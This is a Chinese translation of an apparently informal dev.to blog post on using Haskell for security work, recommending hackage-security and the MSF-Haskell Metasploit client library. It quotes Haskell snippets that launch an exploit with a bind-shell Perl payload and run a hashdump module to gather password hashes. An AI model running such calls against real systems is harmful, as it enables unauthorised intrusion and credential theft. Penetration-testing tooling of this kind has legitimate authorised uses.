Haskell 的安全机制
从“你疯了吗?”到“你干嘛要这么做? ”,这些都是我在计算机科学领域的朋友在我开始使用 Haskell(尤其是安全领域)时对我说过的话。按顺序回答,没错,我的确有点疯狂,但这并非因为 Haskell,而且我选择用 Haskell 做安全是有原因的。首先,函数式编程是现在的潮流,而且未来会有越来越多的应用程序使用它。选择纯函数式语言来做安全工作其实并不算疯狂。另一方面,Haskell 的数学特性在密码学中非常有用。
那么,我该如何使用 Haskell 进行安全审计呢?
这里我想推荐一个名为hackage-security 的库,它目前仅支持索引签名。正如 wiki 中所述,该库有两个主要入口点:Hackage.Security.Client是客户端的主要入口点,Hackage.Security.Server是服务器的主要入口点。值得一看。
除此之外,GitHub 上还有一个名为MSF-Haskell 的仓库,它允许使用 Haskell 进行渗透测试。该仓库包含一个 Haskell 脚本示例以及完整的白皮书。它实际上是 Metasploit API 的一个实现,使开发人员能够编写与 Metasploit 服务器通信的 Haskell 客户端。例如,示例脚本的一部分会针对目标主机发起一个示例漏洞利用攻击。
launchExploit :: (LoudCxt s) => Host Attackable -> MSF s ()
launchExploit targetHost = do
_ <- module_execute metasploitableModuleType metasploitableModuleName
$ toObject
$ Map.fromList
[ ("RHOST", toObject targetHost)
, ("PAYLOAD", toObject metasploitablePayload)
]
return ()
我们之前已经定义了有效载荷本身:
metasploitablePayload = Payload "cmd/unix/bind_perl"
或者使用以下部分来获取密码哈希值:
gatherCredentials :: (LoudCxt s) => SessionId -> MSF s ()
gatherCredentials sessionId = do
let modTyp = PostModuleType
modNm = ModuleName "linux/gather/hashdump"
r <- module_execute modTyp modNm
$ toObject
$ Map.fromList
[ ("SESSION", toObject sessionId)
]
case r of
(ExecJobId j) -> waitJob j
_ -> return ()
总而言之,Haskell可以作为安全领域函数式脚本的一个选择。也许这算是一个不错的选择,你知道,要么就别选,要么就什么都不是,哈哈,函数式脚本的玩笑,咚咚咚。
总之,这些都是全新的攻击类型!即使完全从零开始,也没有像之前描述的那样使用 API 实现。说到密码学,这个仓库很有意思,因为它处理椭圆曲线加密。我建议大家去看看Haskell 官方网站上的密码学仓库以及安全仓库。我还在研究,所以如果有人也在做这方面的工作,请提供更多信息!
文章来源:https://dev.to/terceranexus6/security-with-haskell-3cio
